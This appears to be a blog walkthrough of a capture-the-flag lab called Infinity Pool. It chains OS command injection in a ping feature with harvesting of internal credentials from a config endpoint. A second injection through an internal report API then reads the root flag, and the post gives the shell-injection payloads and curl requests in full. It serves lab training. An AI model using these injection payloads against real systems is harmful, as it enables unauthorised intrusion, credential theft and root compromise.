TryHackMe -Infinity Pool CFT

-

 



HTB Infinite Pool Walkthrough (User + Root)

1. Initial Foothold – Command Injection

The application exposes an internal network check feature that executes:

subprocess.run(
    f"ping -c 1 {host}",
    shell=True,
    ...
)

Because shell=True is used without sanitizing user input, it's vulnerable to OS Command Injection.

Testing with:

127.0.0.1;id

confirmed arbitrary command execution.

2. Enumerating the System

After confirming RCE, I started gathering information.

List web directories:

127.0.0.1;ls -la /var/www

Read the Flask application:

127.0.0.1;cat /var/www/infinity_pool/edge/app.py

This revealed another interesting endpoint:

/api/config

3. Extracting Internal Configuration

Querying the internal configuration:

127.0.0.1;curl http://127.0.0.1:3000/api/config

returned:

  • Telephony username
  • Telephony password
  • Internal UCP URL
  • Automation endpoint

Example:

telephony_user
telephony_pass
telephony_portal
automation_endpoint

These credentials are intended for the internal FreePBX deployment.

4. Discovering Internal Services

Next, I checked which services were listening locally.

127.0.0.1;ss -tlnp

Output showed:

127.0.0.1:8080
127.0.0.1:9000

The service on 8080 hosted FreePBX/UCP, while 9000 exposed an internal automation API.

5. Inspecting Apache Configuration

To understand how the web server was configured:

127.0.0.1;cat /etc/apache2/sites-enabled/freepbx.conf

and

127.0.0.1;ls -la /var/www/html

revealed that:

/ucp

is actually a symbolic link pointing to:

/var/www/html/admin/modules/ucp/htdocs

6. Reading the FreePBX Source Code

Since I couldn't directly access the web interface externally, I inspected the PHP files.

Example:

127.0.0.1;head -100 /var/www/html/admin/modules/ucp/htdocs/index.php

This confirmed the application was a FreePBX UCP installation.

7. Finding the Automation API

The internal configuration also revealed:

http://127.0.0.1:9000

Browsing its API exposed an endpoint that accepted report generation jobs.

The API required a Bearer token, which was later obtained from the UCP workflow.

User Flag

The first proof of command execution against the automation service was:

127.0.0.1;curl -sS \
-X POST \
http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
--data-binary '{"report":"test;id;#"}'

Explanation

curl

→ Sends an HTTP request.

-sS

→ Silent mode while still displaying errors.

-X POST

→ Uses the POST HTTP method.

http://127.0.0.1:9000/jobs/export

→ Target API endpoint.

Authorization: Bearer

→ Authenticates using the API token.

Content-Type: application/json

→ Indicates that the request body is JSON.

--data-binary

→ Sends the JSON exactly as written.

Payload:

{
    "report":"test;id;#"
}

The application builds a shell command internally.

Instead of:

generate_report test

it becomes:

generate_report test;id;#

which executes:

id

The trailing # comments out the remainder of the original command.

Reading the Root Flag

After confirming command injection, reading the root flag becomes straightforward:

127.0.0.1;curl -sS \
-X POST \
http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
--data-binary '{"report":"x;cat /root/root.txt;#"}'

Payload explanation

x

Dummy report name.

;

Ends the legitimate command.

cat /root/root.txt


Summary

The compromise chain was:

  1. Command Injection in the Flask network check feature.
  2. Read the application source code.
  3. Enumerate local services.
  4. Retrieve internal configuration.
  5. Obtain FreePBX credentials.
  6. Discover the internal automation API.
  7. Abuse the report generation endpoint through command injection.
  8. Execute arbitrary commands as root.
  9. Read the root flag.

This machine is a good example of how a relatively small command injection can lead to full system compromise through careful enumeration of internal services and chained vulnerabilities.


VIDE : https://youtu.be/NpqberD-ty8

Comments

Post a Comment

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

-
Image
  Threat Hunt Walkthrough The "Typo Snare" scenario on TryHackMe is a fantastic real-world simulation of a sophisticated, multi-stage attack. It starts with a simple mistake and escalates to a full domain compromise, culminating in ransomware. This post will walk you through the entire attack chain, phase by phase, showing you how to find each piece of evidence using Elastic KQL queries. Phase 1: Initial Access & Execution What Happened: The attack began when the user perry.parsons on workstation WKSTN-03 needed a 7-Zip tool. He googled it, clicked a typosquatted link ( 7zipp.org ), and downloaded a trojanized installer. This installer executed a PowerShell script ( 7z.ps1 ) directly from the attacker's server to establish the initial foothold. How to Find It: You are looking for a PowerShell process that was likely spawned by a browser and contains a command to download and execute a script ( iwr for Invoke-WebRequest and iex for Invoke-Expression ). KQL Query...
Read more

TryHackMe - Matryoshka CFT

-
Image
  Full Walkthrough — Matryoshka Containment Unit Matryoshka Containment Unit is a Docker/container escape challenge that teaches: Docker socket abuse Privileged container escalation Shared volume abuse Remote code execution between containers Namespace escape to the host system Below is the complete attack chain from the first flag to the host flag. 1. Initial Enumeration You started inside the level1 container and performed basic Linux/container enumeration. Commands: ls -la cat /proc/1/cgroup find / -perm -4000 2 >/dev/null find / -name docker.sock 2 >/dev/null What you discovered .dockerenv This indicated you were inside a Docker container. /var/run/docker.sock This was the key vulnerability. Docker socket exposure means: the container can communicate directly with the Docker daemon running on the host anyone with access to the socket can effectively control Docker on the host machine This is one of the most dangerous Docker misconfigurations. 2. V...
Read more

TryHackMe - Threat Hunting Simulator - Health Hazard

-
Image
  Scenario overview After months of juggling content calendars and caffeine-fueled brainstorming, co-founder Tom Whiskers finally carved out time to build the company’s first website. It was supposed to be simple: follow a tutorial, install a few packages, and bring the brand to life with lightweight JavaScript magic.   But between sleepless nights and copy-pasted code, Tom started feeling off. Not sick exactly, just off. The terminal scrolled with reassuring green text, the site loaded fine, and everything looked normal.   Then, a strange file appeared on the system. No one could say where it came from. It wasn’t part of the tutorial, didn’t match any known dependencies, and didn’t even run.   It just waited.   Scenario objectives Determine how a threat actor first gained a foothold on the system. Identify suspicious activity that may point to the initial compromise method. Investigate signs of malicious execution following the initial access. Analyse the logs ...
Read more